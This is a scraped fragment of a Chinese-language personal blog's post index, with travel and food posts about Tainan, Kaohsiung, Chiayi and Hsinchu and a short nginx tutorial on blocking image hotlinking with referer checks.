COWSPIRACY：永遠不能說的秘密，畜牧業的環境污染真相紀錄片"},{"content":"本篇是我在高雄大八大飯店參加喜宴所吃到的全省國際素食餐飲素食，餐點份量很充足，而且料理都非常好吃。\n這禮拜我們到高雄的大八大飯店參加喜宴，這次的宴會是屬於一般性的婚宴，一如往常只有少數幾個人是吃素的，大部分的人都不是素食者，所以我們是直接跟一般的親友一起坐，而素食的餐點則是直接另外送過來，每一個人單獨一份。\n這場宴會的素食餐點是由全省國際素食餐飲所提供的，以前我沒有聽過這家素食，這次吃過之後感覺這家的素食真的非常棒，所以在這裡跟大家推薦這家餐廳。\n店名：全省國際素食餐飲\n網站：facebook 粉絲專頁、非官方 facebook 粉絲專頁、非官方 facebook 粉絲專頁\n這次我們用餐的場地是在大八大飯店，所以只有素食餐點的部份是全省國際素食餐飲提供的，這樣用餐最棒的優點就是餐點份量會很充足，而且有些一般性的甜點我們也可以吃。\n素食的第一道餐點是冷盤，有涼拌的木瓜、腰果、素烏魚子、素鵝、素牛肉與壽司等。（我猜應該是這些啦）\n第二道是羹湯，裡面的料很多。\n第三道是焗烤。\n這道焗烤是用水梨來盛裝的。\n第四道是醬燒的各種菇類，大部分是杏鮑菇。\n這是第五道素食餐點，清炒蘆筍與粽子。\n粽子裡面包的料很豐富，有蓮子、香菇等。\n這是第六道餐點，黑胡椒猴頭菇排，上面白色的是杏鮑菇。\n這一塊猴頭菇滿大一塊的，口感非常鮮嫩，一般的猴頭菇排都需要刀子才能切的開，我吃的時候是直接可以用筷子就把它分成小塊，夾給小朋友吃。\n第七道餐點是一道補湯，裡面有蓮子、菱角、香菇、紅棗等。\n最後一道是甜點與水果，中間那一杯黑色的是咖啡凍，很好吃。\n鮮週報第 82 期的小人物大故事有採訪全省國際素食餐飲的總經理陳建草，影片中有介紹這家素食餐廳的源起以及特色。\n以下是阿玄在餐廳時的一些照片。\n","permalink":"https://blog.gtwang.org/life/chyuan-sheen-vegetarian-catering-kaohsiung-20161113/","summary":"\u003cp\u003e本篇是我在高雄大八大飯店參加喜宴所吃到的全省國際素食餐飲素食，餐點份量很充足，而且料理都非常好吃。\u003c/p\u003e\n\u003cp\u003e這禮拜我們到高雄的大八大飯店參加喜宴，這次的宴會是屬於一般性的婚宴，一如往常只有少數幾個人是吃素的，大部分的人都不是素食者，所以我們是直接跟一般的親友一起坐，而素食的餐點則是直接另外送過來，每一個人單獨一份。\u003c/p\u003e","title":"[高雄素食] 全省國際素食餐飲：喜宴素食餐點"},{"content":"新營中華夜市裡面的這家天津糖炒栗子，栗子鮮甜美味，讓人吃了還想再吃。\n每週六晚上的新營中華夜市裡面有一家天津糖炒栗子，位於中華路與民生路的交叉口的 nono 鞋店門口（和誠塩粿斜對面）。\n這家的糖炒栗子之前朋友請我們吃過之後，感覺很好吃，所以今天帶阿玄一起來買。\n天津糖炒栗子半斤 80 元，一斤 150 元。\n這是現炒的天津糖炒栗子，\n顧客要買的時候，老闆娘會將炒熟的栗子挑出來裝盒。\n這個滾筒下方就是瓦斯爐，一邊滾動一邊炒栗子，所以這個剛拿出來的栗子是很燙的。\n這是糖炒栗子的影片。\n阿玄很好奇一直在看，不過栗子剛炒好很燙，老闆娘一直叮嚀他不要太靠近。\n這就是剛炒好的栗子。\n阿玄一直在看糖炒栗子的樣子。\n這樣一盒糖炒栗子買回來之後，盒子打開放著的話，可以放一個禮拜沒問題。\n這是天津糖炒栗子可愛的紙盒，這個平時當伴手禮也還不錯。\n栗子的營養成份很高，包含蛋白質與各種維生素，有養胃健脾、補腎強筋等功能。\n《本草綱目》記載：栗性溫、味，入脾、胃、腎經，可治腎虛，腰腿無力，能通腎益氣，厚腸胃。而唐代孫思遂邀則說：「栗，腎之果也，腎病宜食之。」\n栗子拿回家冷掉之後，若要加熱的話，可以使用微波、烤箱或是電鍋加熱。\n栗子是益補腎氣的「乾果之王」，它的形狀與腎類似，按照以形補形的理論，栗子對於腎有很好的補益作用。關於栗子的健康功效，可以參考養腎補腎嚴選治療：中醫圖解，快速顧好生命之源。\n這個平常當零食或是聚會泡茶的點心都很不錯。\n栗子冷掉之後其顏色會變深咖啡色，這是因為栗子含有豐富的鐵質，其原理跟削好的頻果一樣。\n這些栗子在放下去炒之前都會經過清洗，在清洗過程中，如果有浮在水面上的栗子，就代表那個栗子是壞掉的，會先挑出來丟掉，不過在篩選的過程中，很難保證沒有漏網之魚，只能盡量把壞的挑掉。\n店名：天津糖炒栗子\n營業時間：每週六晚上 新營中華夜市（中華路與民生路路口）\n服務項目：糖炒栗子、剝殼生栗子\n許多人不喜歡吃栗子時常是因為栗子不好剝，而買這家天津糖炒栗子時，會附贈一個剝栗子用的好用小工具，首先用鋸齒狀的那一側將栗子的殼壓出一條裂縫。\n在栗子的殼上壓出一圈裂縫。\n有時候壓下去就整個裂開了，這樣更好剝。\n接著用兩隻手輕輕一剝，栗子就剝開了。\n有時候栗子剝出來像這樣不會黏住的話，直接拿出來就是一顆完整的栗子，吃起來就很方便。\n如果剝出來的栗子有裂開的話，就用剝栗子工具的另外一側來把裡面的栗子挖出來，這樣吃也還滿方便的，不會說剝了老半天吃不到幾個栗子。\n這家天津糖炒栗子平常時間也可以接受團體訂購，訂購細節請直接與老闆娘聯絡。\n除了炒好的栗子之外，也可以買剝殼的生栗子回家料理。\n","permalink":"https://blog.gtwang.org/life/tianjin-chinese-sugar-roasted-chestnuts-sinying-tainan/","summary":"\u003cp\u003e新營中華夜市裡面的這家天津糖炒栗子，栗子鮮甜美味，讓人吃了還想再吃。\u003c/p\u003e\n\u003cp\u003e每週六晚上的新營中華夜市裡面有一家天津糖炒栗子，位於中華路與民生路的交叉口的 nono 鞋店門口（\u003ca href=\"/life/hecheng-vegetarian-salt-cake-sinying-tainan/\"\u003e和誠塩粿\u003c/a\u003e斜對面）。\u003c/p\u003e","title":"[新營夜市美食] 天津糖炒栗子，補腎益氣的乾果之王"},{"content":"天鵝湖環保水上公園是新營區唯一的天然湖泊，也是新營區公所近年來積極推動的新觀光景點。\n天鵝湖環保水上公園位於新營區埤寮里北側（原名埤寮埤），佔地面積約十三餘公頃，平均水深約六米，也是新營區唯一的天然湖泊。這裡原本是由嘉南農田水利會所代管，為了灌溉鄰近農田而設置的簡易蓄水設備。\n這是天鵝湖門口的兩隻白天鵝地標。\n名稱：天鵝湖環保水上公園\n地址：台南市新營區埤寮里\n白天鵝地標的後方就是天鵝湖了，從這裡可以看到對面的拱橋與涼亭。\n這裡有汽車與遊覽車的停車場。\n在天鵝湖的周圍有很寬的環湖木棧道，遊客可以繞著湖泊散步。\n這裡的樹木大部分長得都不錯。\n環湖木棧道上有好幾個涼亭。\n這是從涼亭中看出去的角度。\n這是天鵝湖中央的拱橋。\n這是橋頭的石獅子。\n拱橋上也有很多白色的石獅子。\n阿玄走在拱橋上。\n拱橋可以看到這裡飼養的鵝與鴨子。\n這是從拱橋上看出去的景色。\n在環湖木棧道的外側還有水泥鋪設的步道。\n這是湖中央在噴水的樣子。\n這裡有可愛動物飼料販賣機，可以買來餵魚或是餵鴨子。\n這樣一盒飼料是 10 元。\n阿玄買了飼料之後，就想趕快去餵魚了。\n在天鵝湖的門口旁邊有洗手間。\n這是運動熱量估算表，想要減肥的人可以參考。\n我們買了飼料之後，走到對面這邊的涼亭旁邊來餵魚。\n等阿玄餵完魚之後，我們又繼續走外圈的步道散步。\n這裡的大樹滿多的，景觀都維護的很不錯。\n這是新營景點導覽圖。\n這個是天鵝湖遊憩區導覽圖。\n這是過了中央的拱橋，天鵝湖後半部的景色。\n最近這一個涼亭剛好在施工。\n這裡的湖邊有樹蔭以及座椅，可以在這裡乘涼與休息。\n湖上偶爾可以看到鴨子在划水。\n這些是綠頭鴨。\n這是鴨子在划水的影片。\n在天鵝湖的最後方有一座很長的木橋。\n這裡的湖中間有一座小島，許多鳥類都在這裡棲息。\n這是從天鵝湖的最後方往前方看的景色。\n這裡有一條糖鐵自行車道，以前是糖廠火車走的，現在改成休閒用的自行車道。\n這裡有糖鐵自行車道的介紹。\n這是糖鐵自行車道的路線圖，單車族可以沿著這條自行車道，從新營火車站一直騎到天鵝湖。\n糖鐵自行車道兩側的風景都很不錯。\n接著我們沿著環湖道路往回走，這一側有整片的稻田。\n阿玄走累了在喝水。\n這是秋天田裡飽滿的稻穗。\n在天鵝湖的旁邊有一座伽藍廟，遊客可以從靠近伽藍廟這一側的側門走過來。\n從天鵝湖走過來這邊距離很近。\n這是伽藍廟門口的匾額。\n這是伽藍廟正門口的天公爐。\n伽藍廟主祀伽藍尊王，也就是一般民間所稱的關聖帝君。\n註生娘娘。\n福德正神。\n在伽藍廟門口有一桶水還有一盆牧草，這是給赤兔馬吃的，上香時要記得這裡也有一個香爐。\n這是新營伽藍廟沿革誌，這座伽藍廟從清朝道光年間就有了，後來經過兩次重建。\n伽藍廟內的匾額。\n伽藍廟內部樑柱與天花板都有很精緻的彩繪與雕刻。\n門上面的門神彩繪也畫的很莊嚴。\n這是伽藍廟內的天花板，非常漂亮。\n伽藍廟進門兩旁都有長板凳，上香完可以在這裡休息。\n這個金爐很不錯，在燒化金紙時，往內對流的風很強，金紙一下子就燒的很乾淨，人站在前面也不會燻到煙。\n","permalink":"https://blog.gtwang.org/life/swan-lake-sinying-tainan-20161111/","summary":"\u003cp\u003e天鵝湖環保水上公園是新營區唯一的天然湖泊，也是新營區公所近年來積極推動的新觀光景點。\u003c/p\u003e\n\u003cp\u003e天鵝湖環保水上公園位於新營區埤寮里北側（原名埤寮埤），佔地面積約十三餘公頃，平均水深約六米，也是新營區唯一的天然湖泊。這裡原本是由嘉南農田水利會所代管，為了灌溉鄰近農田而設置的簡易蓄水設備。\u003c/p\u003e","title":"[台南旅遊景點] 新營天鵝湖環保水上公園、糖鐵自行車道、伽藍廟"},{"content":"這裡介紹台灣高鐵嘉義站附近的停車場，除了高鐵的停車場之外，還有好庭車、新幹線以及免費的公有停車場。\n這張地圖是台灣高鐵嘉義站周圍停車場資訊，好庭車、新幹線兩個是一般民營的收費停車場，停車一天收費 80 元，免費公有停車場則是免費。\n以下是各個停車場的介紹。\n高鐵嘉義站免費公有停車場 高鐵嘉義站的免費公有停車場位於保鐵六路與保鐵三路的交叉口。\n這個免費公有停車場，平常都可以自由停車，不過因為這裡比較偏僻，所以晚上停車要注意安全。\n裡面通常也都停滿多車的。\n時常連機車格也都停了汽車。\n這個免費公有停車場旁邊就是好庭車停車場。\n好庭車停車場 高鐵嘉義站的好庭車停車場位於保鐵三路上，剛好就在免費的公有停車場旁邊。\n好庭車停車場停車一天只要 80 元。\n這是好庭車停車場的出入口。\n這是好庭車停車場的停車棚。\n好庭車停車場的自動繳費機。\n這是從台灣高鐵嘉義站往高鐵站的方向看過去的景象，從這裡走到高鐵站不用五分鐘。\n好庭車停車場有提供接駁車，平常停好車之後，就可以做接駁車過來高鐵站，而回來的時候，可以打電話叫他來載。\n這是從高鐵月台上往好庭車停車場的方向看過去的樣子。\n新幹線停車場 新幹線停車場位於高鐵橋與保鐵十二路的交叉口，這裡的價格跟好庭車停車場一樣是停一天 80 元。\n新幹線停車場的停車位有鐵皮搭的遮雨棚，車子比較不會淋雨或曬太陽。\n這是保鐵十二路與保鐵五路交叉口的出口，通常大家停好車之後，會從這裡走去高鐵站。\n這是自動繳費機。\n這是從新幹線停車場往高鐵站方向看過去的樣子，走過去也不會太遠。\n新幹線停車場同樣也是有接駁車。\n這是從高鐵月台往新幹線停車場看過去的樣子。\n高鐵嘉義站收費公有停車場 高鐵的橋下也有收費的停車場，就在迴轉道旁邊。\n這裡雖然距離高鐵站很近，不過比較貴，30 分鐘內免費，一小時 30 元，一天最高 180 元。\n這是高鐵橋下的收費停車場。\n自動繳費機。\n除了橋下的停車場，高鐵站旁邊還有露天停車場。\n這裡的收費也是 30 分鐘內免費，一小時 30 元，一天最高 180 元。\n","permalink":"https://blog.gtwang.org/life/thsr-chiayi-station-parking-lots/","summary":"\u003cp\u003e這裡介紹台灣高鐵嘉義站附近的停車場，除了高鐵的停車場之外，還有好庭車、新幹線以及免費的公有停車場。\u003c/p\u003e\n\u003cp\u003e這張地圖是台灣高鐵嘉義站周圍停車場資訊，好庭車、新幹線兩個是一般民營的收費停車場，停車一天收費 80 元，免費公有停車場則是免費。\u003c/p\u003e","title":"台灣高鐵嘉義站周圍停車場資訊：好庭車、新幹線、免費公有停車場"},{"content":"這這篇是我最近到竹科的靜心湖與金山寺逛一逛，順便拍的一些照片。\n這是竹科靜心湖旁邊的路邊停車格，開車來的人可以停這裡。\n靜心湖入口處的的大石頭。\n靜心湖旁邊就有一家全家便利商店，想要買飲料與點心的話還滿方便的。\n這是靜心湖的導覽圖。\n這是靜心湖的入口，這裡開始就是環湖道路。\n這是靜心湖旁的湖畔藝術園區。\n靜心湖內偶爾可以看到幾隻鴨子與鵝。\n這裡是觀湖平台。\n這是靜心湖旁邊的籃球場。\n靜心湖的環湖步道中間也有洗手間。\n這裡還有一些庭園景觀。\n從這座橋走過去可以到湖中央的涼亭。\n這是湖畔的「太極拳單鞭下勢」藝術品。\n作者是朱銘，材質是銅。\n從這個涼亭的方向走過去就是開台金山寺。\n這個涼亭附近還有提供 iTaiwan 的免費 WiFi 無線網路喔。\n這是環湖步道樹木上的貓頭鷹藝術品。\n竹科開台金山寺 這是開台金山寺門口的牌坊。\n開台金山寺緊鄰臨竹科實驗中學及竹科宿舍，民國 74 年經內政部公告為臺閩地區第三級古蹟。\n此寺最早建於乾隆年間，當時僅供奉觀世音菩薩，規模並不大，而咸豐年間建寺改名稱「香蓮庵」，同治三年改名為「靈泉寺」，光緒十三年又改名為「長清禪寺」，到了光緒年因為在地地名「金山面」而定名「金山寺」至今。\n這是金山寺的參拜順序圖。\n這是金山寺的主爐。\n這是籤筒。\n開台金山寺主祀觀世音菩薩。\n這是後方的大雄寶殿。\n","permalink":"https://blog.gtwang.org/life/lake-jingxin-and-jinshan-temple-hsinchu-2016/","summary":"\u003cp\u003e這這篇是我最近到竹科的靜心湖與金山寺逛一逛，順便拍的一些照片。\u003c/p\u003e\n\u003cp\u003e這是竹科靜心湖旁邊的路邊停車格，開車來的人可以停這裡。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"停車格\" loading=\"lazy\" src=\"/life/lake-jingxin-and-jinshan-temple-hsinchu-2016/lake-jingxin-and-jinshan-temple-hsinchu-20161109-46.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e靜心湖入口處的的大石頭。\u003c/p\u003e","title":"[新竹旅遊景點] 竹科靜心湖，開台金山寺"},{"content":"南部科學工業園區管理局（簡稱南科管理局）位於西拉雅大道與南科三路的交叉口上，南科就業服務台、總理大餐廳、國家高速網路與計算中心都在這裡，對面就是 Part 17 商場。\n這是在南科三路上的指標，這裡除了主要的南科管理局，還有總理大餐廳、國家高速網路與計算中心（NCHC）、台灣科學園區公會、商務會館與南科就業服務台。\n名稱：南部科學工業園區管理局\n地址：台南市新市區南科三路 22 號\n電話：(06) 505-1001\n網站：南科管理局網站\n這裡的車道是單行道，開車的人要從右邊這一側進入，另外一邊是出口，不要走錯了。\n通常不管是開車或是騎機車，都可以停在這裡的地下停車場。\n這個地下停車場是免費的，不管是汽車或是機車都不用收費。\n這個是地下停車場的行人出入口，四個角落各有一個，停好車後可以從這裡走上來。\n如果是搭車的人，可以直接走廣場過去。\n正中間這一棟建築就是南部科學工業園區管理局。\n管理局旁邊這棟建築就是國家高速網路與計算中心。\n這是南科管理局的地下停車場。\n這個地下停車場車位非常多，幾乎不必擔心沒位子停車。\n這裡也有很多機車的停車格。\n如果要去南科管理局的話，可以把車停在比較裡面的位置，走裡面這個出口出去會比較近。\n或是走另外一側靠總理大餐廳的出口也可以。\n出口出來就可以看到管理局。\n旁邊就是南科商務會館（總理大餐廳）。\n在管理局的對面有南科免費巡迴巴士的站牌，這裡搭車很方便。\n在公車站牌的後面就是南科的 Park 17 商場，這裡有很多商店與餐廳。\n這是 Park 17 商場的大門。\n這裡也有 T-Bike 台南市公共自行車。\n在 Park 17 這邊也有 7-ELEVEN 便利商店。\n","permalink":"https://blog.gtwang.org/life/southern-taiwan-science-park-administration-building/","summary":"\u003cp\u003e南部科學工業園區管理局（簡稱南科管理局）位於西拉雅大道與南科三路的交叉口上，南科就業服務台、總理大餐廳、國家高速網路與計算中心都在這裡，對面就是 Part 17 商場。\u003c/p\u003e","title":"南科管理局與 Park 17 商場"},{"content":"新營鐵道文化園區的五分車是這裡有名的景點，乘坐由糖廠蔗廂車改造的觀光休閒小火車至柳營八老爺車站，可欣賞沿路風景、聆聽懷舊的台語老歌，體驗早期的鐵道文化。\n新營五分車是全台灣最長的一條五分車路線，全長約 4.6 公里，由都市駛向農村（由新營市到柳營鄉），行車速度大約在每小時 10 到 15 公里左右，自新營中興車站發車後沿途經過急水溪大橋、果毅後站、舊八老爺站，最後到達八老爺站（乳牛的家）。在果毅後旗站兩列車可交會車，這是新營五分車路線獨具的特色。\n沿途除了可以見到急水溪大橋下的田野風光外，還可以見到柳營鄉純樸的農村景色，全程有解說員解說相關產業與文化，而車上所放的音樂也是懷舊的台語老歌，在吳晉淮懷念老歌播放伴隨下，聆聽古老的旋律，感受其優美中帶著樸實的風味。\n這是新營鐵道文化園區的天橋，上面有台糖新營五分車的大招牌。\n這一台就是新營的五分車。\n名稱：新營鐵道文化園區\n地址：台南市新營區中興路 42 號\n電話：(06) 632-4570、(06) 632-4210\n營業時間：星期六、日及國定假日，自上午 9 時起至下午 4 時，每 1 小時一班車，共 8 班。\n備註：平日只接受團體預約。\n網站：新營五分車 facebok\n這是新營台糖中興車站的門口，裡面就是五分車的售票處與商店。\n這是台糖中興車站內的售票處，要搭五分車的話就要在這裡買票。\n中興車站的商店跟售票處是在一起的，這裡有台糖冰品及各式各樣的台糖產品可以選購。\n下表示新營中興車站五分車的發車時間表，行車時間大約是 30 分鐘，一天有 8 個班次。\n車次 新營中興車站(發車) 柳營八老爺車站(到站) 101 9:00 9:30 103 10:00 10:30 105 11:00 11:30 107 12:00 12:30 109 13:00 13:30 111 14:00 14:30 113 15:00 15:30 115 16:00 16:30 而從柳營八老爺車站發車的五分車也是一小時一班，時間表如下：\n車次 柳營八老爺車站(發車) 新營中興車站(到站) 102 9:52 10:22 104 10:52 11:22 106 11:52 12:22 108 12:52 13:22 110 13:52 14:22 112 14:52 15:22 114 15:52 16:22 116 16:52 17:22 從柳營八老爺車站發車的班次，15:52 與 16:52 這兩班車只有單程，沒有回程，也就是說開過去新營之後就休息了，之後沒有車會再從新營開回來。\n中興車站內部還有鐵道文物、機具、老照片展示，這些都是可以免費參觀的。\n這是新營五分車的中興車站月台。\n這就是準備要發車的五分車。\n在新營中心車站的五分車都是整點發車，發車前幾分鐘才會開放遊客進入。\n這是新營五分車的車票，全票一張 100 元，可以乘坐來回。\n第一次坐五分車的阿玄。\n五分車的一個車廂有兩張長椅子，總共可以乘坐 12 個人，而站立的位子則大約可以容納 18 人。\n我們乘坐的這一班車是週日早上 11 點的班次，人沒有很多，我們家三個人可以自己坐一張長椅子。\n這是從五分車上看新營鐵道文化園區的景象。\n旁邊也還有一台展示用的火車。\n阿玄在等發車的時間，就拿出紙筆開始寫生。\n阿玄來這裡當然就是要畫火車啦。\n阿玄畫的火車很可愛。\n天空上還有畫一個太陽。\n過了幾分鐘，五分車就開動了。由於這裡是觀光景點，許多人都會帶著單眼相機來這裡攝影。\n五分車緩緩駛離新營的中心車站。\n行進中的五分車聲音還滿大的，也比一般的火車還要更會搖晃，不過還好今天天氣很好，光線非常充足，否則在那麼搖晃的五分車上要拿著相機拍照，照片可能很容易糊掉。\n駛出中心車站後，馬上就會經過新營的延平路平交道，站長都會跟五分車上的乘客招手。\n平常經過這個路口很少看到有火車，後來才知道這是五分車的鐵路，只有假日白天會有五分車經過，平常是沒有火車通行的。\n這是五分車車廂與車廂之間的聯結器。\n這裡旁邊是新營的建業路。\n新營五分車行進中都會有隨車的解說員，拿著麥克風以台語解說周圍的風景特色，我們這次剛好坐在解說員的隔壁車廂。\n過沒多久五分車就會經過急水溪。\n過了急水溪之後，大概就都是類似這樣的田園景色。\n五分車沿落都可以看到類似這樣的田園景色。\n接下來會經過果毅後旗站，這裡是兩列五分車交會的地方，這裡還有負責的站長。\n在台灣的五分車只有這裡可以看到兩車交會的景象，從八老爺車站開過來的五分車要在這裡等待，等我們這台車開過去之後，它才能繼續前進。\n這一台就是從八老爺車站開過來的五分車。\n接下來又經過這個南聖宮，因為五分車真的很搖晃，所以拍起來的角度不是很棒。\n古早的三合院，牆上面還有水牛耕田的圖畫。\n這是五分車行進中所拍攝的一小段影片。\n五分車沿途大都是稻田與綠色的樹木。\n接近平交道的地方，都會有一個這種鳴笛的指示牌，告知五分車的駕駛要鳴笛，警示道路上的車輛。\n五分車要接近平交道了。\n道路上等待五分車通過的車輛。\n這是水稻田與白鷺鷥。\n五分車沿途都有很多這種鳴笛告示。\n五分車準備經過八翁一橋。\n這一片是應該是牧草田。\n五分車從新營出發之後，最後會到達柳營的八老爺車站，旁邊就是乳牛的家休閒牧場。\n這裡就是柳營的八老爺車站。\n下車之後如果要去可愛動物區餵食小動物，可以走到火車頭的那一邊繞過去。\n這裡是五分車八老爺車站的門口。\n這是八老爺車站的大門與匾額。\n新營五分車火車頭。\n這是五分車的駕駛座。\n這是在火車頭上，台糖新營五分車的標誌。\n阿玄與五分車合照。\n這是阿玄與乳牛的合照。\n出了八老爺車站就是乳牛的家，這裡以往進來參觀是不收費的，不過自從今年開始凡是進入乳牛的家都要收費。\n門票總共 80 元，其中 30 元可以抵可愛動物區的消費。\n搭五分車來到這裡大概能逛的就只有乳牛的家了，所以通常大家都會買門票。\n這裡就是可愛動物區。\n在可愛動物區可以購買牧草、胡蘿蔔或奶水來餵食現場的動物，一份是 30 元，剛好可以用門票附贈的抵用卷折抵。\n我們一開始換了一瓶奶水，給阿玄去餵小豬。\n因為其他的動物都很大隻，所以阿玄只敢餵這個小豬。\n這裡的動物種類很多，這是乳牛。\n這是黑山羊。\n這是一匹馬。\n我們餵完了小豬之後，又再去換了一份胡蘿蔔，拿來餵山羊。\n阿玄想餵又很害怕。\n還有小兔子，比較小的小朋友可以餵這個。\n在這裡還有兩隻很小隻的羊，放在外頭，看起來很可愛。\n小羊很可愛，不過阿玄還是不敢太靠近牠。\n阿玄拿著手機幫鸚鵡照相。\n這裡還有童玩區，不過我們這次沒有去玩。\n在鐵路的另外一邊是乳牛的家鐵路餐廳。\n這是乳牛的家鐵路餐廳櫃檯。\n這家餐廳的特色除了牛奶之外，就是這個火車車廂了。\n這應該是用真的火車車廂改裝的。\n這兩節火車車廂已經被改裝為可以用餐的環境，裡面除了舒適的桌椅之外，還有冷氣，在這裡用餐算很不錯。\n車廂內的牆上還掛了很多的舊照片，很有懷舊氣氛。\n這是乳牛的家鐵路餐廳的菜單，素食的人可以選擇素食鮮奶火鍋，或是素食的簡餐。\n這是乳牛的家的名片。\n點餐之後，會先附一杯飲料，都是阿玄在喝，他說很好喝。\n這裡的火車車廂座位並不多，如果想要坐在這裡用餐的人，可能要早點來，或是訂位。\n這是我們這次點的素食鮮奶火鍋，因為我們有三個人，所以又加了兩碗飯。\n正常來說素食鮮奶火鍋是附帶一碗白飯。\n餐具可以在餐具區自己取用。\n牛奶鍋就是整鍋都用牛奶，這是牛奶鍋在滾的樣子。\n阿玄吃素食鮮奶火鍋，因為很燙，所以他一直吹。\n這是牆上掛的交通安全國民運動告示。\n假日來這裡用餐的人還滿多的，比較慢來的人就只能坐在外面的座位，沒辦法進火車車廂用餐了。\n中午吃飽之後，又回來車站這邊，這裡其實能逛的地方不多，大概就是在車站周圍走一走。\n八老爺車站商店裡面有很多乳牛相關的商品可以選購。\n阿玄想要買這一本乳牛的小筆記本。\n在車站內還有五分車八老爺車站與乳牛的家紀念章。\n剛好拿阿玄剛買的筆記本來蓋，這是乳牛的家紀念章戳。\n這個是五分車八老爺車站紀念章戳。\n這裡還有賣手工鮮奶饅頭與手工鮮奶素食的菜包，櫃台那邊還有賣鮮奶吐司。\n在八老爺車站的五分車也是每小時一班，這是準備要發車的五分車。\n從八老爺車站開往新營中興車站的五分車。\n這一班五分車開走之後，就要再等半個小時才會看到從新營開過來的五分車。\n車站旁邊有許多露天的桌椅可以坐著休息。\n這個是垃圾桶。\n不久之後，從新營開過來的五分車到了，五分車到站之後，會將火車頭卸下來接在另外一個方向，準備回程。\n準備連接火車頭與車廂。\n這是接上火車頭的五分車。\n這是乳牛的家裡面的小綠地。\n這裡有幾輛牛車。\n阿玄想要跟牛拍照。\n這是乳牛的家的 DM。\n八老爺車站與乳牛的家大概就是這樣，逛完這裡接下來就要做五分車回新營了。\n由於早上來的時候我們已經買了車票了，一張車票就包含了來回的五分車，所以回程就不用再買票了。\n回程的五分車路線跟來的時候一樣。\n阿玄又開始拿著新的筆記本寫生了。\n回去的時候在稻田中間發現了兩隻雉雞，因為在火車不好拍，所以只拍到一隻。\n五分車沿途常常會有這樣的樹木，距離車子很靠近。\n回程又再拍一張南聖宮的照片，這一次有抓到時機，在火車經過門口的時候按下快門。\n從八老爺車站出發的五分車，會在果毅後旗站等待會車。\n果毅後旗站的站長會在這裡處理會車。\n這是從新營中興車站發車的五分車。\n前方就是急水溪，過了急水溪就到新營了。\n這是新營中興車站外的平交道。\n五分車進入新營中興車站。\n回到新營鐵道文化園區了。\n這裡還有一些火車頭可以參觀，早上坐車很匆忙，來不及仔細拍照。\n這一台火車頭是 1958 年啟用的，用途是運輸原料甘蔗，至今已經將近有 60 年的歷史了。\n新營五分車這個天橋是可以走上去的。\n在天橋上可以比較方便觀賞整個園區的景色。\n阿玄在看火車的鐵軌。\n這是從天橋上看下去的樣子。\n另外一邊就可以看到整個中興車站與五分車。\n天橋旁邊的榕樹很大棵，在樹蔭下比較不會曬到太陽。\n這一些是阿玄在乳牛的家鐵路餐廳吃素食鮮奶火鍋的照片。\n因為火鍋很燙，所以要一邊吹一邊用手測量一下涼了沒。\n剛吃飽很高興的樣子，因為第一次在這種鐵路餐廳用餐，感覺很新鮮。\n阿玄在吃 BB 糖。\n這是在八老爺車站外休息的照片。\n阿玄在吃棉花糖的樣子。\n","permalink":"https://blog.gtwang.org/life/xinying-sugar-railways-20161106/","summary":"\u003cp\u003e新營鐵道文化園區的五分車是這裡有名的景點，乘坐由糖廠蔗廂車改造的觀光休閒小火車至柳營八老爺車站，可欣賞沿路風景、聆聽懷舊的台語老歌，體驗早期的鐵道文化。\u003c/p\u003e","title":"[台南旅遊景點] 新營糖廠五分車：鐵道文化園區、八老爺車站、乳牛的家"},{"content":"這裡介紹如何設定 nginx 網頁伺服器，防止其他網站盜連自己網站的圖片，或將圖片自動更換為廣告圖。\n自己架設網站的人，都會注意自己伺服器與網站的狀況，若偶爾出現幾則文章的引用，對網站的影響不大，通常一般的站長可能看過就算了，不過如果把好幾篇文章以 html 碼全文貼過去，連圖片網址都懶得改的話，這樣該網頁在載入圖檔時，還是會使用到我們自己伺服器的流量，如果流量大的時候對於伺服器還是會有一些影響的。\n如果想要避免其他網站盜連自己伺服器上的圖片，其實作法很簡單，只要修改幾行設定就可以解決這個問題。以下我以 nginx 網頁伺服器為例，示範圖片盜連問題的解決方法。\n阻擋網頁圖片盜連 開啟 nginx 網站的設定檔，針對圖片的檔案進行 referer 的檢查，對於不符合的 referer 來源，則傳回 HTTP 的 403 狀態碼：\nlocation ~* .(gif|jpe?g|png|bmp)$ { valid_referers none blocked server_names *.gtwang.org ~.google. ~.baidu. ~.bing. ~.yahoo.; if ($invalid_referer) { return 403; } } valid_referers 是用來設定那一些是屬於合格的 referer 來源，設定方式如下：\n關鍵字 說明 none 允許 request header 中沒有包含 referer 的情況。 blocked 允許 request header 中有包含 referer，不過其內容已經被 proxy 或防火牆修改過，不是 http:// 或 https:// 開頭的網址。 server_names 手動指定允許的 referer 網址。 這裡我們除了允許 gtwang.org 網域的 referer 之外，同時也開放 Google、百度、Bing 與 Yahoo 這些搜尋引擎，而除了這些網站之外，其他的網站就不允許直接連結我們伺服器的圖片。\n經過這樣的設定之後，其他網站在盜連圖片時，所有的圖片就會變成無法顯示，基本上來說這樣的設定可以有效降低伺服器的負載。\n置換盜連的圖片 防止圖片盜連除了直接將圖片的 request 擋掉之外，還有另外一種作法就是將所有不合格的圖片直接替換成一張網站廣告圖，例如這樣的小圖片：\n將圖片準備好並放上伺服器之後，接著就可以將不合格的圖片連線置換成這張圖，置換圖片的方式就是將原本傳回 HTTP 403 的地方，改為 rewrite 轉址設定：\nlocation ~* .(gif|jpe?g|png|bmp)$ { valid_referers none blocked server_names *.gtwang.org ~.facebook. ~.google. ~.baidu. ~.bing. ~.yahoo.; if ($invalid_referer) { # 重新導向至網站廣告圖 rewrite ^/ /gtwang-url-128.png redirect; } } # 避免重新導向迴圈 location = /gtwang-url-128.png { } 由於重新導向之後圖檔的 referer 還是一樣沒有改變，為了避免重新導向的無窮迴圈，要再針對這個廣告圖的網址加上一行空的設定，讓它不受到 referer 的設定影響，這樣就完成了。\n經過了置換圖檔的設定，其他網站的所有盜連圖片就會直接變成我們設定的廣告圖，而我們自己的網站以及各大搜尋引擎則不會受影響。\n這種透過 nginx 來設定的好處就是不管盜連圖片的數量有多少、圖片網址為何，一次設定之後都可以馬上生效，一勞永逸。\n參考網站：nikhil\u0026rsquo;s 